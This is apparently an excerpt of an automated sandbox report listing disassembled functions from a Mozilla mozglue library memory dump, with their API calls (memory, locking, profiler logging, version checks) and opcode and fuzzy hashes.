Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 0b0a8937ff7aa55a713c846028cfea7fdfc9ea9a7fb65b8a10d65c6203986673
Instruction ID: a91c7130edbc8f8e086edb6491fe9a41170ae1b0c9299c777de6762a2c952fe8
Opcode Fuzzy Hash: 0b0a8937ff7aa55a713c846028cfea7fdfc9ea9a7fb65b8a10d65c6203986673
Instruction Fuzzy Hash: E94125719087859FC341DF68C490A8EBBE4FF89354F408A2EF49987650EB30E549CF92

Function 6CB378C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CBB008B), ref: 6CB37B89
free.MOZGLUE(?,6CBB008B), ref: 6CB37BAC

Part of subcall function 6CB378C0: free.MOZGLUE(?,6CBB008B), ref: 6CB37BCF

free.MOZGLUE(?,6CBB008B), ref: 6CB37BF2

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c178d020c3b7a484b26a5272c44412b46ce467dffe327eb04ebbd072d4e55eaf
Instruction ID: d858cb8d5c366462a8ced2e179d3904eec16cd77890e50feb97698e05605a517
Opcode Fuzzy Hash: c178d020c3b7a484b26a5272c44412b46ce467dffe327eb04ebbd072d4e55eaf
Instruction Fuzzy Hash: 8AC19171A011B8CBEB248B68CEA0B9DB772AF41314F1413A9D41EB7BC1D7719E898F51

Function 6CB79420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
__Init_thread_footer.LIBCMT ref: 6CB7949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB79459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB7947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB7946B

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: e08f5c067544f03266604194f7455363c35f83cbd3f5224e5517bc88c7d3ae47
Instruction ID: da7dff6a9a04c74ecfdb42070255d214f3a284abd73637d02dea9c1368a0bfa9
Opcode Fuzzy Hash: e08f5c067544f03266604194f7455363c35f83cbd3f5224e5517bc88c7d3ae47
Instruction Fuzzy Hash: AC01287CE0454087D720DB6DD804A597379EB06338F080536DC1687B41DF31D4648A6F

Function 6CB80F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB80F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB80F88
GetCurrentThreadId.KERNEL32 ref: 6CB80FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB81067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB810A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB8114B

Part of subcall function 6CB78AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB91563), ref: 6CB78BD5

free.MOZGLUE(?), ref: 6CB81174
free.MOZGLUE(?), ref: 6CB81186

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: dc8e47f4c0dca02081557389098b6408f2d3b31fcad46e88e416196eb0f1a911
Instruction ID: 91c608fe8ea42104332993867e880f2945be5c5a9dabd9ca2e6516f86267a260
Opcode Fuzzy Hash: dc8e47f4c0dca02081557389098b6408f2d3b31fcad46e88e416196eb0f1a911
Instruction Fuzzy Hash: 2B61AB75A063809BDB10DF24D880BAEB7F6FFC5308F04891DE89957611EB31E448CB82

Function 6CB3B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B6AC

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CB3B61E), ref: 6CB3B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B79A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: ee8ca10a8df6c5ca66808373a77b9af7a176386104ce954abad54e62318db849
Instruction ID: b86c3fdb73948702880938a55a8a4c96107bc4a94698275c46533ce164f87e7c
Opcode Fuzzy Hash: ee8ca10a8df6c5ca66808373a77b9af7a176386104ce954abad54e62318db849
Instruction Fuzzy Hash: 5841E4B2D00565DFCB00DF68DC849AFB7B5FB54320F250629E829E7784EB31A9048BE1

Function 6CB3EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CBB5104), ref: 6CB3EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB3EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB3EFEC
free.MOZGLUE(?), ref: 6CB3F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB3F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CB3F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3F065
moz_xmalloc.MOZGLUE ref: 6CB3F072

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: fb2f381911980212310370808f09e8f35cf0cc92c8b80f07dbddb1073244e029
Instruction ID: 35a063d4046bd32eedfd1e3c2e2123c68962cfdf56da1faf8697bb013286800f
Opcode Fuzzy Hash: fb2f381911980212310370808f09e8f35cf0cc92c8b80f07dbddb1073244e029
Instruction Fuzzy Hash: 2C41F6B1A002559FCB08CF68DC809AF73A9EF84314B244229E81ADB794EB71E915C7E1

Function 6CBAB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CBAB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CBAB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CBAB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CBAB5F4
__Init_thread_footer.LIBCMT ref: 6CBAB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CBAB61F
std::_Facet_Register.LIBCPMT ref: 6CBAB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBAB655

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 61852d5f028479e81fb5d3988bc9614c25fdabdfc712c20089cef8bafbe0c99d
Instruction ID: 98370b4ab7d7eb95c0041dc30faa5d86394677e62312c1d668b3b284c2c883dd
Opcode Fuzzy Hash: 61852d5f028479e81fb5d3988bc9614c25fdabdfc712c20089cef8bafbe0c99d
Instruction Fuzzy Hash: 2C31C279B00258CBCF00DFA9C8989AEB7B5FF8A324B150559E95297740DF34AC06CF95

Function 6CB49830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CB97ABE), ref: 6CB4985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CB97ABE), ref: 6CB498A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CB49909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CB49918
free.MOZGLUE(?), ref: 6CB49975

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 05d08b572fa5e48ea3965bccbcc2d5591b3729355bbd88a05c156f18b3033460
Instruction ID: 98b0c0ed4ba5012862438839c3e182c91b7027aa74e9cc65ef604d4bae80def9
Opcode Fuzzy Hash: 05d08b572fa5e48ea3965bccbcc2d5591b3729355bbd88a05c156f18b3033460
Instruction Fuzzy Hash: C571AA74A087458FC725CF28C580956B7F9FF4A3247248AADE85A8BB94D731F805CF91

Function 6CB4B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB8CC83,?,?,?,?,?,?,?,?,?,6CB8BCAE,?,?,6CB7DC2C), ref: 6CB4B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB8CC83,?,?,?,?,?,?,?,?,?,6CB8BCAE,?,?,6CB7DC2C), ref: 6CB4B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB8CC83,?,?,?,?,?,?,?,?,?,6CB8BCAE), ref: 6CB4B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB8CC83,?,?,?,?,?,?,?,?,?,6CB8BCAE,?,?,6CB7DC2C), ref: 6CB4B896

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8e9b1b3e694a7ae9f0cc6852349219925da1d31a760b122e84f60dadb083c238
Instruction ID: 5dd8e5d73a9e07899b4f03b1a10e7d583b23b80ac7c50a1079bfb37c76767c3f
Opcode Fuzzy Hash: 8e9b1b3e694a7ae9f0cc6852349219925da1d31a760b122e84f60dadb083c238
Instruction Fuzzy Hash: 0F518935704A448FCB24CF58C494A2EBBF5FF89319B69895DEA8A87355CB31E801DB81

Function 6CB81D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB81D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB81BE3,?,?,6CB81D96,00000000), ref: 6CB81D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB81BE3,?,?,6CB81D96,00000000), ref: 6CB81D4C
GetCurrentThreadId.KERNEL32 ref: 6CB81DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB81DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB81DDA

Part of subcall function 6CB81EF0: GetCurrentThreadId.KERNEL32 ref: 6CB81F03
Part of subcall function 6CB81EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB81DF2,00000000,00000000), ref: 6CB81F0C
Part of subcall function 6CB81EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB81F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB81DF4

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b5e3404d11bfb2c34b45f80d6b18c6c3111e9894184d8edc4f637f2cef3c3978
Instruction ID: 59cc1b3807952b646104db2e134c16164d374bfee63116a8a82bc50c442d57d5
Opcode Fuzzy Hash: b5e3404d11bfb2c34b45f80d6b18c6c3111e9894184d8edc4f637f2cef3c3978
Instruction Fuzzy Hash: 5B4166B52017449FCB14CF29C488B5ABBF9FB89318F14442AE9AA87B41CB71F814CB95

Function 6CB438A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CBBE220,?,?,?,?,6CB43899,?), ref: 6CB438B2
ReleaseSRWLockExclusive.KERNEL32(6CBBE220,?,?,?,6CB43899,?), ref: 6CB438C3
free.MOZGLUE(00000000,?,?,?,6CB43899,?), ref: 6CB438F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB43920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CB43899,?), ref: 6CB4392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CB43899,?), ref: 6CB43943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CB4396E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 86fdc95aa7899a8e124aa0c9031aacdd66b02b7de64e1ebe88af15e3a383a59d
Instruction ID: 3fbf8f717f3f0868509567b83619ec7102c0f1ccf4f06a9a51a29c137c541aef
Opcode Fuzzy Hash: 86fdc95aa7899a8e124aa0c9031aacdd66b02b7de64e1ebe88af15e3a383a59d
Instruction Fuzzy Hash: 7121E0727046A0DFD720DF25C880B8AB7F9EF45328F298429E95A97B10C735F846CB91

Function 6CB784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB785AC

Part of subcall function 6CB77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7767F
Part of subcall function 6CB77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB77693
Part of subcall function 6CB77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB785B2

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f32a6b565c7b53a98a115e21d589c99714761d65c1c1fb8ac3579ab1b35323ed
Instruction ID: 1ee6c5bdeae6f1bd9f47539bb97f5914f2a5856ec073268f1d12cb4e5a7a45cd
Opcode Fuzzy Hash: f32a6b565c7b53a98a115e21d589c99714761d65c1c1fb8ac3579ab1b35323ed
Instruction Fuzzy Hash: 5E219F742006418FDB24DB24C888A5AB7B9EF4430CF14082DE96FD3B41DB32F948CB66

Function 6CB41640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB41699
VerSetConditionMask.NTDLL ref: 6CB416CB
VerSetConditionMask.NTDLL ref: 6CB416D7
VerSetConditionMask.NTDLL ref: 6CB416DE
VerSetConditionMask.NTDLL ref: 6CB416E5
VerSetConditionMask.NTDLL ref: 6CB416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB416F9

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: e93105c85c3459a02483510b9a5ca17a5b7367999972a37455ce1eb4e4f3868b
Instruction ID: 86f54c05b2375d3b2238633d4af5f6be9affb8c23c3dc0543327e4c0f4bff8d8
Opcode Fuzzy Hash: e93105c85c3459a02483510b9a5ca17a5b7367999972a37455ce1eb4e4f3868b
Instruction Fuzzy Hash: E621D2B0B442486FEB116A64CC85FBF737CEF96704F444568F6459B280CA78DD5486A1

Function 6CB7F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB7F598), ref: 6CB7F621

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7F637
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F645
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB7F62A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
